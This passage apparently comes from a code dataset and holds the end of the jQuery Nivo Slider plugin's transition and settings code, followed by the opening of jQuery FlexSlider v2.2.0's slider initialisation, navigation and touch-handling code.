}
}
}
sliderImg.stop().animate({
height: $(vars.currentImage).height()
}, settings.animSpeed);
};
// Private run method
var nivoRun = function(slider, kids, settings, nudge){
// Get our vars
var vars = slider.data('nivo:vars');
// Trigger the lastSlide callback
if(vars && (vars.currentSlide === vars.totalSlides - 1)){
settings.lastSlide.call(this);
}
// Stop
if((!vars || vars.stop) && !nudge) { return false; }
// Trigger the beforeChange callback
settings.beforeChange.call(this);
// Set current background before change
if(!nudge){
sliderImg.attr('src', vars.currentImage.attr('src'));
} else {
if(nudge === 'prev'){
sliderImg.attr('src', vars.currentImage.attr('src'));
}
if(nudge === 'next'){
sliderImg.attr('src', vars.currentImage.attr('src'));
}
}
vars.currentSlide++;
// Trigger the slideshowEnd callback
if(vars.currentSlide === vars.totalSlides){
vars.currentSlide = 0;
settings.slideshowEnd.call(this);
}
if(vars.currentSlide < 0) { vars.currentSlide = (vars.totalSlides - 1); }
// Set vars.currentImage
if($(kids[vars.currentSlide]).is('img')){
vars.currentImage = $(kids[vars.currentSlide]);
} else {
vars.currentImage = $(kids[vars.currentSlide]).find('img:first');
}
// Set active links
if(settings.controlNav){
$('a', vars.controlNavEl).removeClass('active');
$('a:eq('+ vars.currentSlide +')', vars.controlNavEl).addClass('active');
}
// Process caption
processCaption(settings);
// Remove any slices from last transition
$('.nivo-slice', slider).remove();
// Remove any boxes from last transition
$('.nivo-box', slider).remove();
var currentEffect = settings.effect,
anims = '';
// Generate random effect
if(settings.effect === 'random'){
anims = new Array('sliceDownRight','sliceDownLeft','sliceUpRight','sliceUpLeft','sliceUpDown','sliceUpDownLeft','fold','fade',
'boxRandom','boxRain','boxRainReverse','boxRainGrow','boxRainGrowReverse');
currentEffect = anims[Math.floor(Math.random()*(anims.length + 1))];
if(currentEffect === undefined) { currentEffect = 'fade'; }
}
// Run random effect from specified set (eg: effect:'fold,fade')
if(settings.effect.indexOf(',') !== -1){
anims = settings.effect.split(',');
currentEffect = anims[Math.floor(Math.random()*(anims.length))];
if(currentEffect === undefined) { currentEffect = 'fade'; }
}
// Custom transition as defined by "data-transition" attribute
if(vars.currentImage.attr('data-transition')){
currentEffect = vars.currentImage.attr('data-transition');
}
// Run effects
vars.running = true;
var timeBuff = 0,
i = 0,
slices = '',
firstSlice = '',
totalBoxes = '',
boxes = '';
if(currentEffect === 'sliceDown' || currentEffect === 'sliceDownRight' || currentEffect === 'sliceDownLeft'){
createSlices(slider, settings, vars);
timeBuff = 0;
i = 0;
slices = $('.nivo-slice', slider);
if(currentEffect === 'sliceDownLeft') { slices = $('.nivo-slice', slider)._reverse(); }
slices.each(function(){
var slice = $(this);
slice.css({ 'top': '0px' });
if(i === settings.slices-1){
setTimeout(function(){
slice.animate({opacity:'1.0' }, settings.animSpeed, '', function(){ slider.trigger('nivo:animFinished'); });
}, (100 + timeBuff));
} else {
setTimeout(function(){
slice.animate({opacity:'1.0' }, settings.animSpeed);
}, (100 + timeBuff));
}
timeBuff += 50;
i++;
});
} else if(currentEffect === 'sliceUp' || currentEffect === 'sliceUpRight' || currentEffect === 'sliceUpLeft'){
createSlices(slider, settings, vars);
timeBuff = 0;
i = 0;
slices = $('.nivo-slice', slider);
if(currentEffect === 'sliceUpLeft') { slices = $('.nivo-slice', slider)._reverse(); }
slices.each(function(){
var slice = $(this);
slice.css({ 'bottom': '0px' });
if(i === settings.slices-1){
setTimeout(function(){
slice.animate({opacity:'1.0' }, settings.animSpeed, '', function(){ slider.trigger('nivo:animFinished'); });
}, (100 + timeBuff));
} else {
setTimeout(function(){
slice.animate({opacity:'1.0' }, settings.animSpeed);
}, (100 + timeBuff));
}
timeBuff += 50;
i++;
});
} else if(currentEffect === 'sliceUpDown' || currentEffect === 'sliceUpDownRight' || currentEffect === 'sliceUpDownLeft'){
createSlices(slider, settings, vars);
timeBuff = 0;
i = 0;
var v = 0;
slices = $('.nivo-slice', slider);
if(currentEffect === 'sliceUpDownLeft') { slices = $('.nivo-slice', slider)._reverse(); }
slices.each(function(){
var slice = $(this);
if(i === 0){
slice.css('top','0px');
i++;
} else {
slice.css('bottom','0px');
i = 0;
}
if(v === settings.slices-1){
setTimeout(function(){
slice.animate({opacity:'1.0' }, settings.animSpeed, '', function(){ slider.trigger('nivo:animFinished'); });
}, (100 + timeBuff));
} else {
setTimeout(function(){
slice.animate({opacity:'1.0' }, settings.animSpeed);
}, (100 + timeBuff));
}
timeBuff += 50;
v++;
});
} else if(currentEffect === 'fold'){
createSlices(slider, settings, vars);
timeBuff = 0;
i = 0;
$('.nivo-slice', slider).each(function(){
var slice = $(this);
var origWidth = slice.width();
slice.css({ top:'0px', width:'0px' });
if(i === settings.slices-1){
setTimeout(function(){
slice.animate({ width:origWidth, opacity:'1.0' }, settings.animSpeed, '', function(){ slider.trigger('nivo:animFinished'); });
}, (100 + timeBuff));
} else {
setTimeout(function(){
slice.animate({ width:origWidth, opacity:'1.0' }, settings.animSpeed);
}, (100 + timeBuff));
}
timeBuff += 50;
i++;
});
} else if(currentEffect === 'fade'){
createSlices(slider, settings, vars);
firstSlice = $('.nivo-slice:first', slider);
firstSlice.css({
'width': slider.width() + 'px'
});
firstSlice.animate({ opacity:'1.0' }, (settings.animSpeed*2), '', function(){ slider.trigger('nivo:animFinished'); });
} else if(currentEffect === 'slideInRight'){
createSlices(slider, settings, vars);
firstSlice = $('.nivo-slice:first', slider);
firstSlice.css({
'width': '0px',
'opacity': '1'
});
firstSlice.animate({ width: slider.width() + 'px' }, (settings.animSpeed*2), '', function(){ slider.trigger('nivo:animFinished'); });
} else if(currentEffect === 'slideInLeft'){
createSlices(slider, settings, vars);
firstSlice = $('.nivo-slice:first', slider);
firstSlice.css({
'width': '0px',
'opacity': '1',
'left': '',
'right': '0px'
});
firstSlice.animate({ width: slider.width() + 'px' }, (settings.animSpeed*2), '', function(){
// Reset positioning
firstSlice.css({
'left': '0px',
'right': ''
});
slider.trigger('nivo:animFinished');
});
} else if(currentEffect === 'boxRandom'){
createBoxes(slider, settings, vars);
totalBoxes = settings.boxCols * settings.boxRows;
i = 0;
timeBuff = 0;
boxes = shuffle($('.nivo-box', slider));
boxes.each(function(){
var box = $(this);
if(i === totalBoxes-1){
setTimeout(function(){
box.animate({ opacity:'1' }, settings.animSpeed, '', function(){ slider.trigger('nivo:animFinished'); });
}, (100 + timeBuff));
} else {
setTimeout(function(){
box.animate({ opacity:'1' }, settings.animSpeed);
}, (100 + timeBuff));
}
timeBuff += 20;
i++;
});
} else if(currentEffect === 'boxRain' || currentEffect === 'boxRainReverse' || currentEffect === 'boxRainGrow' || currentEffect === 'boxRainGrowReverse'){
createBoxes(slider, settings, vars);
totalBoxes = settings.boxCols * settings.boxRows;
i = 0;
timeBuff = 0;
// Split boxes into 2D array
var rowIndex = 0;
var colIndex = 0;
var box2Darr = [];
box2Darr[rowIndex] = [];
boxes = $('.nivo-box', slider);
if(currentEffect === 'boxRainReverse' || currentEffect === 'boxRainGrowReverse'){
boxes = $('.nivo-box', slider)._reverse();
}
boxes.each(function(){
box2Darr[rowIndex][colIndex] = $(this);
colIndex++;
if(colIndex === settings.boxCols){
rowIndex++;
colIndex = 0;
box2Darr[rowIndex] = [];
}
});
// Run animation
for(var cols = 0; cols < (settings.boxCols * 2); cols++){
var prevCol = cols;
for(var rows = 0; rows < settings.boxRows; rows++){
if(prevCol >= 0 && prevCol < settings.boxCols){
/* Due to some weird JS bug with loop vars
being used in setTimeout, this is wrapped
with an anonymous function call */
(function(row, col, time, i, totalBoxes) {
var box = $(box2Darr[row][col]);
var w = box.width();
var h = box.height();
if(currentEffect === 'boxRainGrow' || currentEffect === 'boxRainGrowReverse'){
box.width(0).height(0);
}
if(i === totalBoxes-1){
setTimeout(function(){
box.animate({ opacity:'1', width:w, height:h }, settings.animSpeed/1.3, '', function(){ slider.trigger('nivo:animFinished'); });
}, (100 + time));
} else {
setTimeout(function(){
box.animate({ opacity:'1', width:w, height:h }, settings.animSpeed/1.3);
}, (100 + time));
}
})(rows, prevCol, timeBuff, i, totalBoxes);
i++;
}
prevCol--;
}
timeBuff += 100;
}
}
};
// Shuffle an array
var shuffle = function(arr){
for(var j, x, i = arr.length; i; j = parseInt(Math.random() * i, 10), x = arr[--i], arr[i] = arr[j], arr[j] = x);
return arr;
};
// For debugging
var trace = function(msg){
if(this.console && typeof console.log !== 'undefined') { console.log(msg); }
};
// Start / Stop
this.stop = function(){
if(!$(element).data('nivo:vars').stop){
$(element).data('nivo:vars').stop = true;
trace('Stop Slider');
}
};
this.start = function(){
if($(element).data('nivo:vars').stop){
$(element).data('nivo:vars').stop = false;
trace('Start Slider');
}
};
// Trigger the afterLoad callback
settings.afterLoad.call(this);
return this;
};
$.fn.nivoSlider = function(options) {
return this.each(function(key, value){
var element = $(this);
// Return early if this element already has a plugin instance
if (element.data('nivoslider')) { return element.data('nivoslider'); }
// Pass options to plugin constructor
var nivoslider = new NivoSlider(this, options);
// Store plugin object in this element's data
element.data('nivoslider', nivoslider);
});
};
//Default settings
$.fn.nivoSlider.defaults = {
effect: 'random',
slices: 15,
boxCols: 8,
boxRows: 4,
animSpeed: 500,
pauseTime: 3000,
startSlide: 0,
directionNav: true,
controlNav: true,
controlNavThumbs: false,
pauseOnHover: true,
manualAdvance: false,
prevText: 'Prev',
nextText: 'Next',
randomStart: false,
beforeChange: function(){},
afterChange: function(){},
slideshowEnd: function(){},
lastSlide: function(){},
afterLoad: function(){}
};
$.fn._reverse = [].reverse;
})(jQuery);
|
JavaScript
|
/*
* jQuery FlexSlider v2.2.0
* Copyright 2012 WooThemes
* Contributing Author: Tyler Smith
*/
;
(function ($) {
//FlexSlider: Object Instance
$.flexslider = function(el, options) {
var slider = $(el);
// making variables public
slider.vars = $.extend({}, $.flexslider.defaults, options);
var namespace = slider.vars.namespace,
msGesture = window.navigator && window.navigator.msPointerEnabled && window.MSGesture,
touch = (( "ontouchstart" in window ) || msGesture || window.DocumentTouch && document instanceof DocumentTouch) && slider.vars.touch,
// depricating this idea, as devices are being released with both of these events
//eventType = (touch) ? "touchend" : "click",
eventType = "click touchend MSPointerUp",
watchedEvent = "",
watchedEventClearTimer,
vertical = slider.vars.direction === "vertical",
reverse = slider.vars.reverse,
carousel = (slider.vars.itemWidth > 0),
fade = slider.vars.animation === "fade",
asNav = slider.vars.asNavFor !== "",
methods = {},
focused = true;
// Store a reference to the slider object
$.data(el, "flexslider", slider);
// Private slider methods
methods = {
init: function() {
slider.animating = false;
// Get current slide and make sure it is a number
slider.currentSlide = parseInt( ( slider.vars.startAt ? slider.vars.startAt : 0) );
if ( isNaN( slider.currentSlide ) ) slider.currentSlide = 0;
slider.animatingTo = slider.currentSlide;
slider.atEnd = (slider.currentSlide === 0 || slider.currentSlide === slider.last);
slider.containerSelector = slider.vars.selector.substr(0,slider.vars.selector.search(' '));
slider.slides = $(slider.vars.selector, slider);
slider.container = $(slider.containerSelector, slider);
slider.count = slider.slides.length;
// SYNC:
slider.syncExists = $(slider.vars.sync).length > 0;
// SLIDE:
if (slider.vars.animation === "slide") slider.vars.animation = "swing";
slider.prop = (vertical) ? "top" : "marginLeft";
slider.args = {};
// SLIDESHOW:
slider.manualPause = false;
slider.stopped = false;
//PAUSE WHEN INVISIBLE
slider.started = false;
slider.startTimeout = null;
// TOUCH/USECSS:
slider.transitions = !slider.vars.video && !fade && slider.vars.useCSS && (function() {
var obj = document.createElement('div'),
props = ['perspectiveProperty', 'WebkitPerspective', 'MozPerspective', 'OPerspective', 'msPerspective'];
for (var i in props) {
if ( obj.style[ props[i] ] !== undefined ) {
slider.pfx = props[i].replace('Perspective','').toLowerCase();
slider.prop = "-" + slider.pfx + "-transform";
return true;
}
}
return false;
}());
// CONTROLSCONTAINER:
if (slider.vars.controlsContainer !== "") slider.controlsContainer = $(slider.vars.controlsContainer).length > 0 && $(slider.vars.controlsContainer);
// MANUAL:
if (slider.vars.manualControls !== "") slider.manualControls = $(slider.vars.manualControls).length > 0 && $(slider.vars.manualControls);
// RANDOMIZE:
if (slider.vars.randomize) {
slider.slides.sort(function() { return (Math.round(Math.random())-0.5); });
slider.container.empty().append(slider.slides);
}
slider.doMath();
// INIT
slider.setup("init");
// CONTROLNAV:
if (slider.vars.controlNav) methods.controlNav.setup();
// DIRECTIONNAV:
if (slider.vars.directionNav) methods.directionNav.setup();
// KEYBOARD:
if (slider.vars.keyboard && ($(slider.containerSelector).length === 1 || slider.vars.multipleKeyboard)) {
$(document).bind('keyup', function(event) {
var keycode = event.keyCode;
if (!slider.animating && (keycode === 39 || keycode === 37)) {
var target = (keycode === 39) ? slider.getTarget('next') :
(keycode === 37) ? slider.getTarget('prev') : false;
slider.flexAnimate(target, slider.vars.pauseOnAction);
}
});
}
// MOUSEWHEEL:
if (slider.vars.mousewheel) {
slider.bind('mousewheel', function(event, delta, deltaX, deltaY) {
event.preventDefault();
var target = (delta < 0) ? slider.getTarget('next') : slider.getTarget('prev');
slider.flexAnimate(target, slider.vars.pauseOnAction);
});
}
// PAUSEPLAY
if (slider.vars.pausePlay) methods.pausePlay.setup();
//PAUSE WHEN INVISIBLE
if (slider.vars.slideshow && slider.vars.pauseInvisible) methods.pauseInvisible.init();
// SLIDSESHOW
if (slider.vars.slideshow) {
if (slider.vars.pauseOnHover) {
slider.hover(function() {
if (!slider.manualPlay && !slider.manualPause) slider.pause();
}, function() {
if (!slider.manualPause && !slider.manualPlay && !slider.stopped) slider.play();
});
}
// initialize animation
//If we're visible, or we don't use PageVisibility API
if(!slider.vars.pauseInvisible || !methods.pauseInvisible.isHidden()) {
(slider.vars.initDelay > 0) ? slider.startTimeout = setTimeout(slider.play, slider.vars.initDelay) : slider.play();
}
}
// ASNAV:
if (asNav) methods.asNav.setup();
// TOUCH
if (touch && slider.vars.touch) methods.touch();
// FADE&&SMOOTHHEIGHT || SLIDE:
if (!fade || (fade && slider.vars.smoothHeight)) $(window).bind("resize orientationchange focus", methods.resize);
slider.find("img").attr("draggable", "false");
// API: start() Callback
setTimeout(function(){
slider.vars.start(slider);
}, 200);
},
asNav: {
setup: function() {
slider.asNav = true;
slider.animatingTo = Math.floor(slider.currentSlide/slider.move);
slider.currentItem = slider.currentSlide;
slider.slides.removeClass(namespace + "active-slide").eq(slider.currentItem).addClass(namespace + "active-slide");
if(!msGesture){
slider.slides.click(function(e){
e.preventDefault();
var $slide = $(this),
target = $slide.index();
var posFromLeft = $slide.offset().left - $(slider).scrollLeft(); // Find position of slide relative to left of slider container
if( posFromLeft <= 0 && $slide.hasClass( namespace + 'active-slide' ) ) {
slider.flexAnimate(slider.getTarget("prev"), true);
} else if (!$(slider.vars.asNavFor).data('flexslider').animating && !$slide.hasClass(namespace + "active-slide")) {
slider.direction = (slider.currentItem < target) ? "next" : "prev";
slider.flexAnimate(target, slider.vars.pauseOnAction, false, true, true);
}
});
}else{
el._slider = slider;
slider.slides.each(function (){
var that = this;
that._gesture = new MSGesture();
that._gesture.target = that;
that.addEventListener("MSPointerDown", function (e){
e.preventDefault();
if(e.currentTarget._gesture)
e.currentTarget._gesture.addPointer(e.pointerId);
}, false);
that.addEventListener("MSGestureTap", function (e){
e.preventDefault();
var $slide = $(this),
target = $slide.index();
if (!$(slider.vars.asNavFor).data('flexslider').animating && !$slide.hasClass('active')) {
slider.direction = (slider.currentItem < target) ? "next" : "prev";
slider.flexAnimate(target, slider.vars.pauseOnAction, false, true, true);
}
});
});
}
}
},
controlNav: {
setup: function() {
if (!slider.manualControls) {
methods.controlNav.setupPaging();
} else { // MANUALCONTROLS:
methods.controlNav.setupManual();
}
},
setupPaging: function() {
var type = (slider.vars.controlNav === "thumbnails") ? 'control-thumbs' : 'control-paging',
j = 1,
item,
slide;
slider.controlNavScaffold = $('<ol class="'+ namespace + 'control-nav ' + namespace + type + '"></ol>');
if (slider.pagingCount > 1) {
for (var i = 0; i < slider.pagingCount; i++) {
slide = slider.slides.eq(i);
item = (slider.vars.controlNav === "thumbnails") ? '<img src="' + slide.attr( 'data-thumb' ) + '"/>' : '<a>' + j + '</a>';
if ( 'thumbnails' === slider.vars.controlNav && true === slider.vars.thumbCaptions ) {
var captn = slide.attr( 'data-thumbcaption' );
if ( '' != captn && undefined != captn ) item += '<span class="' + namespace + 'caption">' + captn + '</span>';
}
slider.controlNavScaffold.append('<li>' + item + '</li>');
j++;
}
}
// CONTROLSCONTAINER:
(slider.controlsContainer) ? $(slider.controlsContainer).append(slider.controlNavScaffold) : slider.append(slider.controlNavScaffold);
methods.controlNav.set();
methods.controlNav.active();
slider.controlNavScaffold.delegate('a, img', eventType, function(event) {
event.preventDefault();
if (watchedEvent === "" || watchedEvent === event.type) {
var $this = $(this),
target = slider.controlNav.index($this);
if (!$this.hasClass(namespace + 'active')) {
slider.direction = (target > slider.currentSlide) ? "next" : "prev";
slider.flexAnimate(target, slider.vars.pauseOnAction);
}
}
// setup flags to prevent event duplication
if (watchedEvent === "") {
watchedEvent = event.type;
}
methods.setToClearWatchedEvent();
});
},
setupManual: function() {
slider.controlNav = slider.manualControls;
methods.controlNav.active();
slider.controlNav.bind(eventType, function(event) {
event.preventDefault();
if (watchedEvent === "" || watchedEvent === event.type) {
var $this = $(this),
target = slider.controlNav.index($this);
if (!$this.hasClass(namespace + 'active')) {
(target > slider.currentSlide) ? slider.direction = "next" : slider.direction = "prev";
slider.flexAnimate(target, slider.vars.pauseOnAction);
}
}
// setup flags to prevent event duplication
if (watchedEvent === "") {
watchedEvent = event.type;
}
methods.setToClearWatchedEvent();
});
},
set: function() {
var selector = (slider.vars.controlNav === "thumbnails") ? 'img' : 'a';
slider.controlNav = $('.' + namespace + 'control-nav li ' + selector, (slider.controlsContainer) ? slider.controlsContainer : slider);
},
active: function() {
slider.controlNav.removeClass(namespace + "active").eq(slider.animatingTo).addClass(namespace + "active");
},
update: function(action, pos) {
if (slider.pagingCount > 1 && action === "add") {
slider.controlNavScaffold.append($('<li><a>' + slider.count + '</a></li>'));
} else if (slider.pagingCount === 1) {
slider.controlNavScaffold.find('li').remove();
} else {
slider.controlNav.eq(pos).closest('li').remove();
}
methods.controlNav.set();
(slider.pagingCount > 1 && slider.pagingCount !== slider.controlNav.length) ? slider.update(pos, action) : methods.controlNav.active();
}
},
directionNav: {
setup: function() {
var directionNavScaffold = $('<ul class="' + namespace + 'direction-nav"><li><a class="' + namespace + 'prev" href="#">' + slider.vars.prevText + '</a></li><li><a class="' + namespace + 'next" href="#">' + slider.vars.nextText + '</a></li></ul>');
// CONTROLSCONTAINER:
if (slider.controlsContainer) {
$(slider.controlsContainer).append(directionNavScaffold);
slider.directionNav = $('.' + namespace + 'direction-nav li a', slider.controlsContainer);
} else {
slider.append(directionNavScaffold);
slider.directionNav = $('.' + namespace + 'direction-nav li a', slider);
}
methods.directionNav.update();
slider.directionNav.bind(eventType, function(event) {
event.preventDefault();
var target;
if (watchedEvent === "" || watchedEvent === event.type) {
target = ($(this).hasClass(namespace + 'next')) ? slider.getTarget('next') : slider.getTarget('prev');
slider.flexAnimate(target, slider.vars.pauseOnAction);
}
// setup flags to prevent event duplication
if (watchedEvent === "") {
watchedEvent = event.type;
}
methods.setToClearWatchedEvent();
});
},
update: function() {
var disabledClass = namespace + 'disabled';
if (slider.pagingCount === 1) {
slider.directionNav.addClass(disabledClass).attr('tabindex', '-1');
} else if (!slider.vars.animationLoop) {
if (slider.animatingTo === 0) {
slider.directionNav.removeClass(disabledClass).filter('.' + namespace + "prev").addClass(disabledClass).attr('tabindex', '-1');
} else if (slider.animatingTo === slider.last) {
slider.directionNav.removeClass(disabledClass).filter('.' + namespace + "next").addClass(disabledClass).attr('tabindex', '-1');
} else {
slider.directionNav.removeClass(disabledClass).removeAttr('tabindex');
}
} else {
slider.directionNav.removeClass(disabledClass).removeAttr('tabindex');
}
}
},
pausePlay: {
setup: function() {
var pausePlayScaffold = $('<div class="' + namespace + 'pauseplay"><a></a></div>');
// CONTROLSCONTAINER:
if (slider.controlsContainer) {
slider.controlsContainer.append(pausePlayScaffold);
slider.pausePlay = $('.' + namespace + 'pauseplay a', slider.controlsContainer);
} else {
slider.append(pausePlayScaffold);
slider.pausePlay = $('.' + namespace + 'pauseplay a', slider);
}
methods.pausePlay.update((slider.vars.slideshow) ? namespace + 'pause' : namespace + 'play');
slider.pausePlay.bind(eventType, function(event) {
event.preventDefault();
if (watchedEvent === "" || watchedEvent === event.type) {
if ($(this).hasClass(namespace + 'pause')) {
slider.manualPause = true;
slider.manualPlay = false;
slider.pause();
} else {
slider.manualPause = false;
slider.manualPlay = true;
slider.play();
}
}
// setup flags to prevent event duplication
if (watchedEvent === "") {
watchedEvent = event.type;
}
methods.setToClearWatchedEvent();
});
},
update: function(state) {
(state === "play") ? slider.pausePlay.removeClass(namespace + 'pause').addClass(namespace + 'play').html(slider.vars.playText) : slider.pausePlay.removeClass(namespace + 'play').addClass(namespace + 'pause').html(slider.vars.pauseText);
}
},
touch: function() {
var startX,
startY,
offset,
cwidth,
dx,
startT,
scrolling = false,
localX = 0,
localY = 0,
accDx = 0;
if(!msGesture){
el.addEventListener('touchstart', onTouchStart, false);
function onTouchStart(e) {
if (slider.animating) {
e.preventDefault();
} else if ( ( window.navigator.msPointerEnabled ) || e.touches.length === 1 ) {
slider.pause();
// CAROUSEL:
cwidth = (vertical) ? slider.h : slider. w;
startT = Number(new Date());
// CAROUSEL:
// Local vars for X and Y points.
localX = e.touches[0].pageX;
localY = e.touches[0].pageY;
offset = (carousel && reverse && slider.animatingTo === slider.last) ? 0 :
(carousel && reverse) ? slider.limit - (((slider.itemW + slider.vars.itemMargin) * slider.move) * slider.animatingTo) :
(carousel && slider.currentSlide === slider.last) ? slider.limit :
(carousel) ? ((slider.itemW + slider.vars.itemMargin) * slider.move) * slider.currentSlide :
(reverse) ? (slider.last - slider.currentSlide + slider.cloneOffset) * cwidth : (slider.currentSlide + slider.cloneOffset) * cwidth;
startX = (vertical) ? localY : localX;
startY = (vertical) ? localX : localY;
el.addEventListener('touchmove', onTouchMove, false);
el.addEventListener('touchend', onTouchEnd, false);
}
}
function onTouchMove(e) {
// Local vars for X and Y points.
localX = e.touches[0].pageX;
localY = e.touches[0].pageY;
dx = (vertical) ? startX - localY : startX - localX;
scrolling = (vertical) ? (Math.abs(dx) < Math.abs(localX - startY)) : (Math.abs(dx) < Math.abs(localY - startY));
var fxms = 500;
if ( ! scrolling || Number( new Date() ) - startT > fxms ) {
e.preventDefault();
if (!fade && slider.transitions) {
if (!slider.vars.animationLoop) {
dx = dx/((slider.currentSlide === 0 && dx < 0 || slider.currentSlide === slider.last && dx > 0) ? (Math.abs(dx)/cwidth+2) : 1);
}
slider.setProps(offset + dx, "setTouch");
}
}
}
function onTouchEnd(e) {
// finish the touch by undoing the touch session
el.removeEventListener('touchmove', onTouchMove, false);
if (slider.animatingTo === slider.currentSlide && !scrolling && !(dx === null)) {
var updateDx = (reverse) ? -dx : dx,
target = (updateDx > 0) ? slider.getTarget('next') : slider.getTarget('prev');
if (slider.canAdvance(target) && (Number(new Date()) - startT < 550 && Math.abs(updateDx) > 50 || Math.abs(updateDx) > cwidth/2)) {
slider.flexAnimate(target, slider.vars.pauseOnAction);
} else {
if (!fade) slider.flexAnimate(slider.currentSlide, slider.vars.pauseOnAction, true);
}
}
el.removeEventListener('touchend', onTouchEnd, false);
startX = null;
startY = null;
dx = null;
offset = null;
}
}else{
el.style.msTouchAction = "none";
el._gesture = new MSGesture();
el._gesture.target = el;
el.addEventListener("MSPointerDown", onMSPointerDown, false);
el._slider = slider;
el.addEventListener("MSGestureChange", onMSGestureChange, false);
el.addEventListener("MSGestureEnd", onMSGestureEnd, false);
function onMSPointerDown(e){
e.stopPropagation();
if (slider.animating) {
e.preventDefault();
}else{
slider.pause();
el._gesture.addPointer(e.pointerId);
accDx = 0;
cwidth = (vertical) ? slider.h : slider. w;
startT = Number(new Date());
// CAROUSEL:
offset = (carousel && reverse && slider.animatingTo === slider.last) ? 0 :
(carousel && reverse) ? slider.limit - (((slider.itemW + slider.vars.itemMargin) * slider.move) * slider.animatingTo) :
(carousel && slider.currentSlide === slider.last) ? slider.limit :
(carousel) ? ((slider.itemW + slider.vars.itemMargin) * slider.move) * slider.currentSlide :
(reverse) ? (slider.last - slider.currentSlide + slider.cloneOffset) * cwidth : (slider.currentSlide + slider.cloneOffset) * cwidth;
}
}
function onMSGestureChange(e) {
e.stopPropagation();
var slider = e.target._slider;
if(!slider){
return;
}
var transX = -e.translationX,
transY = -e.translationY;
//Accumulate translations.
accDx = accDx + ((vertical) ? transY : transX);
dx = accDx;
scrolling = (vertical) ? (Math.abs(accDx) < Math.abs(-transX)) : (Math.abs(accDx) < Math.abs(-transY));
if(e.detail === e.MSGESTURE_FLAG_INERTIA){
setImmediate(function (){
el._gesture.stop();
});
return;
}
if (!scrolling || Number(new Date()) - startT > 500) {
e.preventDefault();
if (!fade && slider.transitions) {
if (!slider.vars.animationLoop) {
dx = accDx / ((slider.currentSlide === 0 && accDx < 0 || slider.currentSlide === slider.last && accDx > 0) ? (Math.abs(accDx) / cwidth + 2) : 1);
}
slider.setProps(offset + dx, "setTouch");
}
}
}
function onMSGestureEnd(e) {
e.stopPropagation();
var slider = e.target._slider;
if(!slider){
return;
}
if (slider.animatingTo === slider.currentSlide && !scrolling && !(dx === null)) {
var updateDx = (reverse) ? -dx : dx,
target = (updateDx > 0) ? slider.getTarget('next') : slider.getTarget('prev');
if (slider.canAdvance(target) && (Number(new Date()) - startT < 550 && Math.abs(updateDx) > 50 || Math.abs(updateDx) > cwidth/2)) {
slider.flexAnimate(target, slider.vars.pauseOnAction);
} else {
if (!fade) slider.flexAnimate(slider.currentSlide, slider.vars.pauseOnAction, true);
}
}
startX = null;
startY = null;
dx = null;
offset = null;
accDx = 0;
}
}
},
resize: function() {
if (!slider.animating && slider.is(':visible')) {
if (!carousel) slider.doMath();
if (fade) {
// SMOOTH HEIGHT:
methods.smoothHeight();
} else if (carousel) { //CAROUSEL:
slider.slides.width(slider.computedW);
slider.update(slider.pagingCount);
slider.setProps();
}
else if (vertical) { //VERTICAL:
slider.viewport.height(slider.h);
slider.setProps(slider.h, "setTotal");
} else {
// SMOOTH HEIGHT:
if (slider.vars.smoothHeight) methods.smoothHeight();
slider.newSlides.width(slider.computedW);
slider.setProps(slider.computedW, "setTotal");
}
}
},
smoothHeight: function(dur) {
if (!vertical || fade) {
var $obj = (fade) ? slider : slider.viewport;
(dur) ? $obj.animate({"height": slider.slides.eq(slider.animatingTo).height()}, dur) : $obj.height(slider.slides.eq(slider.animatingTo).height());
}
},
sync: function(action) {
var $obj = $(slider.vars.sync).data("flexslider"),
target = slider.animatingTo;
switch (action) {
case "animate": $obj.flexAnimate(target, slider.vars.pauseOnAction, false, true); break;
case "play": if (!$obj.playing && !$obj.asNav) { $obj.play(); } break;
case "pause": $obj.pause(); break;
}
},
pauseInvisible: {
visProp: null,
init: function() {
var prefixes = ['webkit','moz','ms','o'];
if ('hidden' in document) return 'hidden';
for (var i = 0; i < prefixes.length; i++) {
if ((prefixes[i] + 'Hidden') in document)
methods.pauseInvisible.visProp = prefixes[i] + 'Hidden';
}
if (methods.pauseInvisible.visProp) {
var evtname = methods.pauseInvisible.visProp.replace(/[H|h]idden/,'') + 'visibilitychange';
document.addEventListener(evtname, function() {
if (methods.pauseInvisible.isHidden()) {
if(slider.startTimeout) clearTimeout(slider.startTimeout); //If clock is ticking, stop timer and prevent from starting while invisible
else slider.pause(); //Or just pause
}
else {
if(slider.started) slider.play(); //Initiated before, just play
else (slider.vars.initDelay > 0) ? setTimeout(slider.play, slider.vars.initDelay) : slider.play(); //Didn't init before: simply init or wait for it
}
});
}
},
isHidden: function() {
return document[methods.pauseInvisible.visProp] || false;
}
},
setToClearWatchedEvent: function() {
clearTimeout(watchedEventClearTimer);
watchedEventClearTimer = setTimeout(function() {
watchedEvent = "";
}, 3000);
}
}
// public methods
slider.flexAnimate = function(target, pause, override, withSync, fromNav) {
if (!slider.vars.animationLoop && target !== slider.currentSlide) {
slider.direction = (target > slider.currentSlide) ? "next" : "prev";
}
if (asNav && slider.pagingCount === 1) slider.direction = (slider.currentItem < target) ? "next" : "prev";
if (!slider.animating && (slider.canAdvance(target, fromNav) || override) && slider.is(":visible")) {
if (asNav && withSync) {
var master = $(slider.vars.asNavFor).data('flexslider');
slider.atEnd = target === 0 || target === slider.count - 1;
master.flexAnimate(target, true, false, true, fromNav);
slider.direction = (slider.currentItem < target) ? "next" : "prev";
master.direction = slider.direction;
if (Math.ceil((target + 1)/slider.visible) - 1 !== slider.currentSlide && target !== 0) {
slider.currentItem = target;
slider.slides.removeClass(namespace + "active-slide").eq(target).addClass(namespace + "active-slide");
target = Math.floor(target/slider.visible);
} else {
slider.currentItem = target;
slider.slides.removeClass(namespace + "active-slide").eq(target).addClass(namespace + "active-slide");
return false;
}
}
slider.animating = true;
slider.animatingTo = target;
// SLIDESHOW:
if (pause) slider.pause();
// API: before() animation Callback
slider.vars.before(slider);
// SYNC:
if (slider.syncExists && !fromNav) methods.sync("animate");
// CONTROLNAV
if (slider.vars.controlNav) methods.controlNav.active();
// !CAROUSEL:
// CANDIDATE: slide active class (for add/remove slide)
if (!carousel) slider.slides.removeClass(namespace + 'active-slide').eq(target).addClass(namespace + 'active-slide');
// INFINITE LOOP:
// CANDIDATE: atEnd
slider.atEnd = target === 0 || target === slider.last;
// DIRECTIONNAV:
if (slider.vars.directionNav) methods.directionNav.update();
if (target === slider.last) {
// API: end() of cycle Callback
slider.vars.end(slider);
// SLIDESHOW && !INFINITE LOOP:
if (!slider.vars.animationLoop) slider.pause();
}
// SLIDE:
if (!fade) {
var dimension = (vertical) ? slider.slides.filter(':first').height() : slider.computedW,
margin, slideString, calcNext;
